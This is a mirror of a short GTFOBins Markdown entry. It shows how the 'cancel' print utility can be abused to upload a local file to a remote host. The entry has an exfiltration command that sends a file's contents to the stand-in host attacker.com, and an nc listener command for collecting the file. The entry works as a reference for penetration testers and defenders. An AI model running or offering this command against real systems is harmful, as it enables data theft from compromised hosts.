mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 23:09:46 +01:00
11 lines
311 B
Markdown
11 lines
311 B
Markdown
---
|
|
functions:
|
|
file-upload:
|
|
- description: Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
|
|
code: |
|
|
RHOST=attacker.com
|
|
RPORT=12345
|
|
LFILE=file_to_send
|
|
cancel -u "$(cat $LFILE)" -h $RHOST:$RPORT
|
|
---
|